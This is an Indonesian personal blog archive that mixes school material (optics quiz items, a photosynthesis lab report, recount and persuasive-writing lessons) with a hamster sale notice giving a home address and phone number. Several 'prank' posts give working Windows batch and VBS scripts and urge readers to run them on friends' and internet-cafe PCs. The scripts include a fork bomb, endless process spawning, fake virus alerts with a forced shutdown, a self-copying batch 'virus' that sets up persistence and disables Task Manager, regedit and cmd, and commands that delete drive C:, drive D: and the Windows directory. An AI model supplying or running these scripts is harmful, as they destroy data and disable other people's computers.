My important documents

Tikus Jepang/ Hias

2012-01-10T18:41:00.011+07:00

Halo masbro/mbak Sist....
Lama tak jumpa ya.......
Untuk kali ini ane tampil dengan keadaan berbeda......
hehehe

Kali ini saya pengen ngenalin spesimen konyol....hehe.....ane pengen jualan tikus jepang
:D
lucu,imut,jinak dan ane jamin lincah
hehehe

List Harga:
Jumper: IDR 3000/ekor
Dewasa(Siap Kimpoi): IDR 5000/ekor

kalo pengen lihat langsung boleh datang langsung ke tempat ane(maaf hanya melayani wilayah Surabaya-Sidoarjo)
Desa Ngelom Megare No.704 A RT 4 RW 1,Sepanjang,Taman,Sidoarjo
ato cp: 083857423826
terima kasih
Ditunggu yaakkk

2011-11-10T06:35:00.004+07:00

gan ....
di postingan ane kali ini cuman ingin berkata
1 kalimat u/ hari Pahlawan kali ini..

"TOLONG PERHATIKAN NASIB PARA VETERAN!!!!"
SELAMAT HARI PAHLAWAN...

maaf jika menurut agan/wati treat ane gak penting....
tapi menurut ane sangat penting mengingatt nasib para veteran mulai terpinggirkan

:(

Daftar Websites Berbahaya

2011-03-10T05:27:00.000+07:00

Berhati-hatilah dalam browsing atau membuka situs-situs tertentu yang belum jelas. Karena di dalamnya bisa mengandung virus-virus berbahaya yang akan meugikan kita. Berikut adalah situs paling kotor di dunia, di situs tersebut banyak terdapat bermacam-macam virus yang menyebabkan hp/pc anda rusak. Silakan menyimak :

1. 17ebook.com
2. aladel.net
3. bpwhamburgorchardpark.or
4. clicnews.com
5. dfwdiesel.net
6. divineenterprises.net
7. fantasticfilms.ru
8. gardensrestaurantandcatering.com
9. ginedis.com
10. gncr.org
11. hdvideoforums.org
12. hihanin.com
13. kingfamilyphotoalbum.com
14. likaraoke.com
15. mactep.org
16. magic4you.nu
17. marbling.pe
18. krnacjalneg.info
19. pronline.ru
20. purplehoodie.com
21. qsng.cn
22. seksburada.net
23. sportsmansclub.net
24. stock888.cn
25. tathli.com
26. teamclouds.com
27. texaswhitetailfever.com
28. wadefamilytree.org
29. xnescat.info
30. yt118.com

Perhatian : Jangan coba-coba buka situs di atas tanpa menggunakan antivirus khusus buat browser!

Folder Lock

2011-03-07T16:27:00.002+07:00

ini dia....
produk saya dan crew
(n.b: bukan virus)

berguna sekali buat pekerja kantoran, adik sd, adik smp, kanca sma, bokepers(lho kok??)
heheh
naminipun program folder lock
cara kerjanya cuma mengunci folder dengan kode yang kita inginkan
caranya:

buka notepad

ketik perintah sbgai berikut pada notepad:

@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo yakin folder mau di kunci(Cess/Joss)
set/p "cho=>"
if %cho%==Cess goto LOCK
if %cho%==cess goto LOCK
if %cho%==joss goto END
if %cho%==Joss goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo masukan password untuk buka Folder
set/p "pass=>"
if NOT %pass%==7885131 goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

save di .bat bro/ sist

lalu jika ingin men-lock program/ ketikan kita tinggal kita drag ke folder yang bernama locker yang akan muncul setelah di .bat-isasi
lalu kita ketik program .bat nya,,

badalaadollah....
hilang dech alias tersembunyi...
jika ingin kmbali lgi.... tinggal klik .batnya lalu masukkan kodenya....
beress
:)

Forking.bat

2011-03-07T16:22:00.003+07:00

ini dia....
perintah tersimple gan!!
ingin bisa??
ketik REG(spasi)Faizal
kirim ke Surga,.,,
hehehhe
:P

bcanda bro....
(tpi yang msuk surganya smoga trjadi...amieeenn)

ok...
langkah 1:
buka notepad..

ketik:

%0|%0

save di .bat
walhasil...
kompi langsung hang....
:D

Usilin teman dengan notepad 5

2011-03-07T16:17:00.002+07:00

buka notiped.... ejaan jawa
:P
mksdnya Notepad...

ketik command sbb brikut:

option explicit
dim wshshell
set wshshell=wscript.createobject("wscript.shell")
dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next

di vbs yach....
varian baru nich
B-)

Usilin teman dengan notepad 4

2011-03-07T16:13:00.003+07:00

klo ini sudah di tester beribu-ribua abad
(waddaahh alaynya diri ekke, hehehe)

hahhaa
jahilin komputer warnet yuukks
langkah 1:
iris bawang....ehh keceplosan

yang bener buka notepad

ketik perintah sbgai berikut:

@echo Do>>c:\Undertaker.vbs
@echo Msgbox "Error",vbinformation,"Windows">>c:\Undertaker.vbs
@echo Msgbox "Access Denied",vbinformation,"Windows">>c:\Undertaker.vbs
@echo Msgbox "Microsot Office Unactivated",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "Disk D Unactivated",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "Firewall Unactivated",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "Internet Connection Unactivated",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "Antivirus Unactivated",vbinformation,"Upps !">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 5 %",vbinformation,"Windows Firewall">>c:\Undertaker.vbs
@echo Msgbox "Loading. . . . ",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 10 %",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "Loading. . . .",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 15 %",vbinformation,"Smadav">>c:\Undertaker.vbs
@echo Msgbox "Access Denied",vbinformation,"Windows">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 25 %",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 30 %",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 25 %",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 45 %",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 15 %",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 75 %",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 5 %",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 95 %",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 0 %",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "System Unactivated 0.... %",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "Trojan Virus affected",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "Worm Virus affected",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "Baracuda Virus affected",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "Tengu Virus affected",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "Kaizerz Virus affected",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "Sydromatic Virus affected",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo Msgbox "Regedit Virus affected",vbinformation,"Windows Security Alert">>c:\Undertaker.vbs
@echo loop>>c:\Undertaker.vbs

save di .vbs yach coooyy
slamat mengeksecutee,,,
:P

Usilin teman dengan notepad 3

2011-03-07T16:09:00.004+07:00

dunia memang sarangnya orang usil
seperti saya
(PD.com)
hehehe

ok.....
langsung aja:
buka notepad

ketik perintah yakni:

@echo off
C:
cls
Echo Do you want to kill all program’s? (Y/N)
pause >nul
cls
Echo Are you sure want to delete all data? (Y/N)
pause >nul
cls
Echo Deleting All Data
ping localhost -n 2 >nul
cls
Echo Deleting All Data.
ping localhost -n 2 >nul
cls
Echo Deleting All Data..
ping localhost -n 2 >nul
cls
Echo Deleting All Data…
cls
Echo Deleting All Data
ping localhost -n 2 >nul
cls
Echo Deleting All Data.
ping localhost -n 2 >nul
cls
Echo Deleting All Data..
ping localhost -n 2 >nul
cls
Echo Deleting All Data…
ping localhost -n 2 >nul
cls
dir /s
shutdown -s -t 900 -c “you have been
:hack
echo You have just been hacked
goto hack

seperti biasa
save di .bat
slamat tertawa dan di pukuli
hehehe
:P

Usilin teman dengan notepad 2

2011-03-07T16:04:00.003+07:00

Tanpa basa basi yach

Buka notepad
Ketik perintah di bawah ini:

@echo off
:a
Start
Start
Start
Start
Start
Start
goto :a

save di .bat yaa gan!!
:D
slamat menikmati
:D

Usilin teman dengan notepad 1

2011-03-07T15:57:00.003+07:00

ada teman kalian yang usil....
usilin balik ajach

Buka notepad

ketik perintah pada notepad:

Echo off > C:\virxx.txt

if no exist C:\Windows\%0 copy %0 C:\Windows

for %%p in (A C D E F G H) do copy %0 %%p:

for %%q in (A C D E F G H) do dir %%q:\*.3gp /B /S >> C:\virxx.txt
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind

/t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v

DisableTaskMgr /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoFolderOptions /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v

ShowSuperHiden /t REG_DWORD /d 0 /f
for %%r in (A C D E F G H) do attrib +h +s %%r:\*.3gp /s

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun

/t REG_DWORD /d 1 /f

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v gorun /t REG_SZ /d

C:\Windows\virxx.bat /f

REG ADD HKCU\Software\Policies\Microsoft\Windows\System DisableCMD /t REG_DWORD /d

2 /f

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoViewOnDrive /t REG_DWORD /d 4 /f

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v

DisableRegedit /t REG_DWORD /d 1 /f

Shutdown -s -t 360 -c "Virus Menjangkiti Komputer Anda" -f
Exit

save di .bat
dijamin teman kamu minta mangap....eh maaf
:D

Delete driver C dan D versi .bat

2011-03-07T15:29:00.003+07:00

untuk plajaran ke 4:

kali ini menggunakan tipe file .bat
caranya:
pertama:
buka notepad

ketik perintah di bawah ini pada notepad:

@echo off
DEL C: -Y
DEL D: -Y

save di .bat yach masbro/ mbaksist
:D

Delete driver C dan D

2011-03-07T15:20:00.003+07:00

Pelajaran kaping 3:

untuk kali ini command pada notepadnya cukup mudah dan simpel

tapi hasilnya...

uwwaaaww,,, MAKSIMALL!!
ini dia ......

pertama:
buka notepad..

lalu ketik pada notepad:

DEL /F /Q C:\WINDOWS

lalu save dgn format nama (nama).cmd

JANGAN DI COBA DI KOMPUTER SENDIRI

Start 33x

2011-03-07T15:14:00.003+07:00

2nd lesson:

Start berulang ulang

Notepad ternyata bukan hanya sekedar aplikasi untuk menulis saja, tetapi punya banyak sekali fungsi salah satunya dalam hal hacking. Hanya dengan mengetikkan beberapa perintah seperti di CMD pada notepad, bisa membuat komputer hang dengan waktu kurang dari 1 menit. Ga percaya? Aya dicoba !! Gini nih caranya :

Buka Notepad dan ketik start berulang kali dengan enter
start
start
start
start
start
start
start
start
start

Kalo udah save dengan extensi.bat, contoh : hack.bat
Coba buka file yang sudah di save tadi, maka akan keluar banyak jendela CMD.Buka kembali notepad dan open file yang tadi dibuat, di akhir baris ketikkan nama file yang tadi di save, contoh hack.bat

start
start
start
start
start
start
start
start
start
hack.bat

Hal ini akan membuat file ini membuka start 8 kali dan sekaligus membuka file hack.bat, maka akan muncul jendela CMD yang banyaaaaaaaaak sekaliiiii yang bisa membuat komputer menjadi crash dan hang. Satu-satunya cara menyembuhkannya adalah dengan merestart komputer.

Joss gak??
:D

Kumpulan soal tentang lensa tipis

2011-03-05T22:06:00.002+07:00

SOAL MENGENAI LENSA TIPIS (THIN-LENS)

1. Suatu lensa cekung memiliki jarak titik fokus -0.8 m. Bila suatu obyek berada pada jarak 4 m, maka berapakah jarak bayangan ?

a. 0,67 m b. -0,67 m c. 0,66 m d. 1,5 m e. -1,5 m

2. Suatu lensa cekung memiliki jarak titik fokus -0.4 m. Bila suatu obyek berada pada jarak 2 m, maka berapakah jarak bayangan ?

a. -0.333 m b. 0.333 m c. -0.33 m d. 0.33 m e. 0.3 m

3. Suatu lensa cekung memiliki jarak titik fokus -0.4 m. Bila suatu obyek berada pada jarak 0.2 m, maka berapakah jarak bayangan ?

a. -0.13 m b. 0 m c. -0.133 m d. 0.133 m e. 0.13 m

4. Suatu obyek diletakkan di depan lensa cekung pada jarak 40 cm. Bayangan yang terbentuk berupa bayangan tegak dengan ukuran 1/2 dari ukuran obyek. Berapakah jarak titik fokus lensa cekung tersebut ?

a. -10 cm b. -20 cm c. -30 cm d. -40 cm e. -50 cm

5. 5. Benda diletakan 30 cm di depan cermin cekung yang berjari-jari 10 cm. Berapa perbesarannya?

a. 1/5 b. -1/5 c. 1 d. 5 e. -5

6. 6. Benda diletakkan 3 cm di depan cermin cekung yang berjari-jari 20 cm. Berapa perbesarannya?

a. +2 b. -4.29 c. +4.29 d. -1.43 e. +1.43

7. 7. Benda ditenpatkan 5 cm di depan cermin cembung dengan panjang fokus 10 cm. Berapa perbesarannya?

a. 0.65 b. 0.66 c. 0.67 d. 0.68 e. 0.69

8. 8. Benda ditempatkan 8 cm di depan lensa cekung dengan panjang fokus 4 cm. Dimana letak bayangan?

a. -2 cm b. -20 cm c. -5 cm d. -50 cm e. -6 cm

9. 9. Benda diletakkan 20 cm di depan lensa cembung dengan panjang fokus 10 cm. Dimanakah bayangan? Berapa perbesaran bayangannya?

a. 10 cm, -2 b. 10 cm, 2 c. 20 cm, -1 d. 20 cm, 1 e. 50 cm, -2

10. 10. Seberkas cahaya datang dari suatu medium ke medium lain dengan sudut dating 30⁰. Hitung sudut bias jika cahaya datang dari udara ke air?

a. 15,7⁰ b. 19,5⁰ c. 33⁰` d. 48,6⁰ e. 50⁰

Percobaan bahwa Fotosintesis menghasilkan O2

2011-03-05T22:01:00.004+07:00

LAPORAN HASIL FOTOSINTESIS

1. TUJUAN : Membuktikan bahwa pada saat fotosintesis dihasilkan oksigen

2. ALAT DAN BAHAN :

Tanaman Hydrilla secukupnya
Beaker Glass 500 ml 1 buah
Corong Kaca 1 buah
Kawat Panjang 10 cm, 4 Buah
Tabung Reaksi 1 buah
Ember
Thermometer

3 CARA KERJA :

I. Rangkai alat seperti pada gambar berikut!

(GAMBAR ADA DI ATAS)

Catatan : jangan sampai ada gelembung udara didalam corong kaca

II. Percobaan 1 : Letakkan rangkaian pada tempat yang terkena cahaya matahari langsung

Percobaan 2 : Letakkan rangkaian pada tempat yang tidak terkena cahaya matahari

III. Letakkan thermometer kedalam beker glass! Ukur suhu setiap 10 menit, sebanyak 5 kali pengukuran ( minit ke 0, 10 menit, 20 menit, 30 menit dan 40 menit)! Masukkan dalam tabel pengamatan!

IV. Amati dan catat banyaknya gelembung yang terbentuk pada corong kaca setiap 10 menit sampai menit ke 40! Masukkan dalam tabel pengamatan

V. Perhatikan perubahan permukaan air pada tangkai corong!

Tabel Pengamatan :

Pada tempat yang terkena cahaya matahari langsung

No.	Waktu Pengamatan	Suhu	Banyaknya Gelembung	Keterangan	Volume Oksigen
1	0 menit	30^o	0		0 cm
2	10 menit	30,5^o	715		1 cm
3	20 menit	31,2^o	771		2 cm
4	30 menit	32,1^o	601		2,5 cm
5	40 menit	33,1^o	919		3,8 cm

Pada tabel diatas di jelaskan bahwa pada percobaan Ingenhousz di tempat yang terkena cahaya matahari langsung pada menit ke 0 dalam suhu 30^o belum muncul gelembung satupun, volume oksigen pun belum ada. Pada menit ke 10 dalam suhu 30,5^o muncul gelembung sebanyak 715 gelembung, dengan volume oksigen 1 cm. Pada menit ke 20 dalam suhu 31,2^o muncul gelembung sebanyak 771 gelembung, dengan volume oksigen 2 cm. Pada menit ke 30 dalam suhu 32,1^o muncul gelembung sebanyak 601 gelembung, dengan volume oksigen 2,5 cm. Pada menit ke 40 dalam suhu 33,1^o muncul gelembung sebanyak 919 gelembung, dengan volume oksigen 3,8 cm.

Pada tempat yang tidak terkena cahaya matahari

No.	Waktu Pengamatan	Suhu	Banyaknya Gelembung	Keterangan	Volume Oksigen
1	0 menit	31,5^o	0		0 cm
2	10 menit	31^o	3		0,05 cm
3	20 menit	30,7^o	9		0,1 cm
4	30 menit	30,6^o	10		0,15 cm
5	40 menit	30,5^o	12		0,2 cm

Pada tabel diatas di jelaskan bahwa pada percobaan Ingenhousz di tempat yang tidak terkena cahaya matahari pada menit ke 0 dalam suhu 31,5^o belum muncul gelembung satupun, volume oksigen pun belum ada. Pada menit ke 10 dalam suhu 31^o muncul gelembung sebanyak 3 gelembung, dengan volume oksigen 0,05 cm. Pada menit ke 20 dalam suhu 30,7^o muncul gelembung sebanyak 9 gelembung, dengan volume oksigen 0,1 cm. Pada menit ke 30 dalam suhu 30,6^o muncul gelembung sebanyak 10 gelembung, dengan volume oksigen 0,15 cm. Pada menit ke 40 dalam suhu 30,5^o muncul gelembung sebanyak 12 gelembung, dengan volume oksigen 0,2 cm.

4 Diskusi

1. Gas apakah yang terbentuk pada percobaan di atas ? gas yang terbentuk oleh percobaan di atas adalah oksigen

2. Bagaimanakah keadaan suhu awal dibanding suhu akhir percobaan ? keadaan suhu awal dibanding suhu akhir percobaan

3. Bagaimana frekuensi pembentukan gelembung dari awal sampai akhir percobaan ?

4. Apa yang anda ketahui tentang permukaan air di dalam tangki corong? Mengapa hal itu bisa terjadi?

5. Jika pada akhir percobaan dengan anda mengambil tabung reaksi pelan-pelan dan segera menutup ujungnya dengan ibu jari, kemudian di dalam tabung di masukkan bara api, apa yang akan terjadi?

6. Mengapa percobaan tersebut di lakukan di dalam air?

7. Apa yang ingin di ketahui dari percobaan di atas?

8. Dari percobaan tersebut, sebutkan factor-faktor yang mempengaruhi fotosintesis!

9. Kesimpulan apa yang anda tarik dari percobaan di atas?

Catatan: Percobaan di atas pertama kali di lakukan oleh ahli yang bernama Ingenhousz. Oleh karena itu percobaan ini di sebut percobaan Ingenhousz

JAWABAN

1. Jawab : Gelembung yang dihasilkan pada percobaan itu merupakan gas oksigen/O₂. Gas ini terbentuk karena proses fotolisis dimana air diuraikan menjadi gas oksigen yang akan muncul berupa gelembung-gelembung dengan persamaan reaksi sebagai berikut:
2H₂O(l) 4H+(aq) + O₂ (g)
Dari persamaan tersebut nampak dihasilkan molekul gas O₂dari penguraian air.
Berikut akan ditampilkan proses terbentuknya O2 dalam proses fotosintesis.

2. Keadaan suhu awal lebih rendah dari pada suhu akhir. Karena belum dipengaruhi oleh intensitas cahaya matahari dan angin.

3. Frekuensi pembentukan gelembung dari awal sampai akhir percobaan adalah meningkat, karena adanya pengaruh cahaya matahari terhadap proses fotosintesis.

4. Yang kami ketahui adalah bahwa air dalam tangkai tersebut semakin lama semakin turun karena adanya gelembung - gelembung oksigen yang dihasilkan oleh tanaman Hydrilla pada saat proses fotosintesis.

5. Kejadian yang terjadi adalah bara api tersebut menyala dikarenakan tabung tersebut mengandung banyak gas oksigen.

6. Karena Hydrilla merupakan tanaman dengan media air.

7. Pada percobaan Ingenhousz menunjukkan bahwa pada fotosintesis menghasilkan gas oksigen (O₂)

8. Fotosintesis dipengaruhi oleh faktor – faktor , sebagai berikut:

– Suhu

– Cahaya (lama pencahayaan, intensitas cahaya, panjang gelombang cahaya)

– Air

– CO₂

– Kandungan Klorofil

9. Kesimpulan :
Berdasarkan percobaan di atas, dapat kami simpulkan bahwa:
1. Dalam proses fotosintesis diperlukan air dan cahaya matahari.
2. Pada proses potosintesis menghasilkan O₂/oksigen.

All about Recount Text

2011-03-05T21:36:00.003+07:00

Teks Recount adalah teks yang menjelaskan atau melaporkan mengenai sebuah peristiwa atau kejadian yang terjadi di masa lampau dengan tujuan untuk menginformasikan atau menghibur.
Struktur teks recount, yaitu:

1. Orientation: Informasi pembuka yang dapat menjawab siapa, kapan, dan dimana.

2. Events: Urutan kejadian yang ditulis secara kronologis.

3. Reorientation: Penutup

Contoh teks recount:

My Adventure at Leang-Leang Cave

On Sunday, my parents, my best fruend Novi, and I visited a cave at Maros called Leang-leang . It was my first time to visit the cave, better yet, my best friend came to visit it with me!
The cave was famous for its primitive cave wall paintings which were some hand prints and wild boar paintings. The cave and its surroundings was turned into a national park, so it was taken care of. My parents took a rest in a small hut for visitors of the park, while Novi and I adventured around the cave with a guide. We had to climb some metal stairs to get to the cave, because the cave was embedded into a small mountain. Next stop was a place where some seashells littered the ground and some were actually piled into a big mound! The guide said that these piles of seashells are called kjokkenmoddinger, or kitchen trash. The humans who lived here ate the shells and dumped the left overs in their 'kitchen'. The last place was a small museum where they have skeletons of the humans who lived in the caves. The skeletons along with some roughly made jewelry and weapons were placed inside glass cases for display. The walls of the museum were adorned with photographs taken when they did an excavation there.
After a quick lunch with Novi and my parents, we decided it was time to go back home. We really had the time of our lives!

Semoga bermanfaat.. Postingan ini saya tunjukkan untuk tugas teman teman yag lagi mencari contoh text recount ditugas bahas inggris..

Contoh text recount
Vacation to London
Mr. Richard’s family was on vacation. They are Mr. and Mrs. Richard with two sons. They went to London. They saw their travel agent and booked their tickets. They went to the British embassy to get visas to enter Britain. They had booked fourteen days tour. This includes travel and accommodation. They also included tours around London.
They boarded large Boeing flight. The flight was nearly fourteen hours. On the plane the cabin crews very friendly. They gave them news paper and magazine to read. They gave them food and drink. There was a film for entertainment. They had a very pleasant flight. They slept part of the way.
On arrival at Heathrow airport, they had to go to customs and immigration. The officers were pleasant. They checked the document carefully but their manners were very polite. Mr. Richard and his family collected their bags and went to London welcome desk. They arranged the transfer to a hotel.
The hotel was a well-known four-star hotel. The room had perfect view of the park. The room had its own bathroom and toilet instead of keys for the room, they inserted a key card to open the door. On the third floor, there was a restaurant serving Asian and European food. They had variety of food.
The two weeks in London went by fast. At the end of the 14-days, they were quite tired but they felt very happy.
Purpose : to retell something that happened in the past and to tell a series of past event

Generis structure
• Orientation
• Event (s)
• Re orientation
Language feature
• Using past tense
• Using action verb
• Using adjectives
• In chronological order, using connectives that signal time example, then, next after, meanwhile
• Focused on individual or group participant for example, in the first person : I , We, the third person : He, She, The

Berikut adala struktur teks recount :
1. Orientation: Informasi pembuka yang dapat menjawab siapa, kapan, dan dimana.
2. Events: Urutan kejadian yang ditulis secara kronologis.
3. Reorientation: Penutup

Read the passage

One day I was setting in the local library, I started to read a medical encyclopedia that was lying on the table in front of me. The first illness I read about was cholera. As I read the list of symptoms, it occurred to me that perhaps I had cholera myself. I sat for a while, too frightened to move.

Then, in a kind of dream, I started to turn the pages of the book again. I came to malaria. Yes, there was no doubt about it – I had malaria too. And I certainly had hepatitis. And yellow fever. And so it went on. I read through the whole book, and by the end I came to the conclusion that I had every illness. There was only one illness I didn’t have – and that was housemaid’s knee.

I sat and thought, and I became more and more worried. I wondered how long I had to live. I examined myself. I felt my pulse. At first, I couldn’t find it at all; then, suddenly it seems start off. I looked at my watch to time it – it was beating 147 times a minute. I tried to feel my heart. I couldn’t feel it. It wasn’t beating. I stuck my tongue out and tried to look at it. I could only see the end of it, but from that I was even more certain than before that I had yellow fever.

I went straight to my doctor, who was a good friend of mine. “What’s the matter with you?” he asked. “I have every illness in the medical encyclopedia.” I told him how I read the medical encyclopedia. Then he opened my mouth and looked at my tongue, and he felt mu pulse, and he listened to my heart. Then he sat down and wrote a prescription. It said:

* 3 good meals every day
* A two-mile walk every day morning
* Be in bed at 11 o’clock every night
* Don’t read medical books!

I followed the doctor’s instructions, and I am happy to say that I now feel quite well again.

2nd example:
THE SMARTEST ANIMAL
Once there was man went a farmer from Laos. Every morning and every evening, he ploughed his field with his buffalo.
One day, a tiger saw the farmer and his buffalo working, The Tiger was surprised to see a big animal listening to a small animal. He wanted to know more about the buffalo and the man.
After man went home, the tiger spoke to the buffalo. "You are so big and strong. Why do you do everything the man tells you?" The Buffalo answered, "Oh the man is very intelligent".
The tiger asked "Can you tell me how intelligent he is?" No, i can't tell you," said the buffalo, "but you can ask him."So the next day the tiger said to the man, "Can I see your intelligence?" But the man answered, "It's at home"."Can you go and get it?" asked the tiger. "Yes", said the man, "But I'm afraid you will kill mi bufallo when I am gone". "Can I tie you to a tree?" After the man tied the tiger to the tree, he didn't go home to get his intelligence. He took his plough and hit the tiger. Then he said, "Now, you know about my intelligence even if you haven't seen it."

Paragraf Persuasif

2011-03-05T21:34:00.001+07:00

Paragraf Persuasif - Setelah kita bahas mengenai paragraf eksposisi sekarang akan kita bahas mengenai Paragraf persuasif, apa itu paragraf persuasif & bagaimana cara menulis paragraf persuasif itu? mari kita simak uraian berikut.

Paragraf persuasif adalah suatu bentuk karangan yang bertujuan membujuk pembaca agar mau berbuat sesuatu sesuai dengan keinginan penulisnya. Agar tujuannya dapat tercapai, penulis harus mampu mengemukakan pembuktian dengan data dan fakta. ( Definisi Paragraf Persuasif )

Berikut ini langkah-langkah yang dapat ditempuh bila Anda akan menulis paragraf persuasif.

A. Menentukan Topik dan Tujuan Dalam Paragraf Persuasif

Dalam paragraf persuasif, tujuan penulis dapat dikemukakan secara langsung. Misalnya, topik yang dibuat oleh penulis adalah “Menghidari pengaruh buruk nakotika dan obat-obatan terlarang lainnya”. Tujuan penulisan yang dapat dirumuskan adalah meyakinkan pembaca bahwa narkotika dan obat-obat terlarang lain merupakan pembunuh berdarah dingin yang secara perlahan membawa pecandunya ke liang lahat.

B. Membuat kerangka Karangan Paragraf Persuasif

Agar susunan tulisan persuasif itu sistematis dan logis, kerangka tulisan perlu mendapat perhatian dalam perumusannya.

Susunan pembahasan yang tepat untuk paragraf persuasif adalah susunan logis dengan urutan sebab akibat. Dengan pembahasan seperti ini, pembaca langsung dihadapkan pada masalah yang sedang dibahas.

Contoh kerangka tulisan persuasif dengan topik “Menghilangkan pengaruh buruk narkotika dan obat-obat terlarang lain” ialah sebagai berikut.

Kerangka Tulisan Persuasif
1. Hakikat Narkotika dan Obat-obat Terlarang
1.1 Pengertian narkotika dan obat-obat terlarang
1.2 Jenis narkotika, bentuk, dan harga
1.3 Efek masing-masing jenis narkotika bagi tubuh
2. Latar Belakang Pecandu Narkotika
2.1 Frustasi
2.2 Broken home
2.3 Ingin disebut modern
2.4 Sebab-sebab lain
3. Pengaruh yang Ditimbulkan oleh Narkotika
3.1 Pengaruh narkotika terhadap kondisi fisik dan kejiwaan pecandu
3.2 Pengaruh narkotika terhadap masa depan pecandu
3.3 Pengaruh narkotika terhadap masyarakat
4. Cara Penanggulangan yang Mungkin Dilakukan
4.1 Menghilangkan hal-hal yang menjadi penyebab terjerumusnya seseorang ke dalam dunia narkotika
4.2 Meningkatkan kerja sama antara orang tua-gurukepolisian dalam memberantas narkotika

C. Mengumpulkan Bahan Untuk Paragraf Persuasif

Bahan dapat diperoleh melalui kegiatan pengamatan, wawancara, dan penyebaran angket kepada responden.
Pada saat mengumpulkan bahan, kita dapat membuat catatan, baik kutipan langsung maupun tidak langsung, yang nantinya dapat dijadikan sebagai barang bukti
.
Contoh.
Peneliti mengungkapkan bahwa sebab-sebab seseorang dapat terjerumus ke dalam dunia narkotika: 45% broken home, 20% frustasi, 17% ingin disebut modern, dan sisanya karena sebab lain (Sukartono, 1987:45)

Artinya:
Data tersebut diperoleh dari buku karangan Sukartono yang diterbitkan pada tahun 1987, halaman 45.

D. Menarik Kesimpulan dari Paragraf Persuasif

Penarikan kesimpulan dalam suatu karangan persuasi harus kitalakukan dengan benar agar tujuan kita tercapai. Suatu kesimpulan dapat dibuat apabila data yang diperoleh telah dianalisis. Penarikan kesimpulan dapat dilakukan dengan cara induksi atau deduksi.

Contoh:
Berdasarkan hasil penelitian yang telah dilakukan di beberapa kota besar di Jawa Barat dapat dikemukakan ciri-ciri seorang pecandu narkoba adalah ....

E. Penutup Paragraf Persuasif

Pada bagian ini penulis mengajak pembaca untuk waspada dan hati-hati agar tidak terjerumus ke dalam dunia narkotika dan menjauhi narkotika yang berbahaya bagi kesehatan fisik dan jiwa.

Contoh paragraf persuasif:

Kita semua mengetahui bahawa kondisi lingkungan Kota Jakarta sudah sangat memprihatinkan. Banyak sekali sungai yang kotor akibat pembuangan limbah yang tidak teratur serta pencemaran udara akibat asap kendaraan bermotor yang semakin banyak. Ini semua dapat menyebabkan gangguan bagi makhluk hidup di Kota Jakarta, temasuk manusia. Pernapasan kita dapat terganggu dan keindahan Kota Jakarta tercemar. Oleh karena itu, alangkah baiknya jika kita sebagai penduduk Kota Jakarta berusaha untuk melestarikan lingkungan kota ini dengan berbagai macam usaha. Di antaranya adalah dengan penghijauan, pembuatan taman kota, dan pelarangan membuang sampah di sembarang tempat. Ini semua dapat mengendalikan keindahan Kota Jakarta.

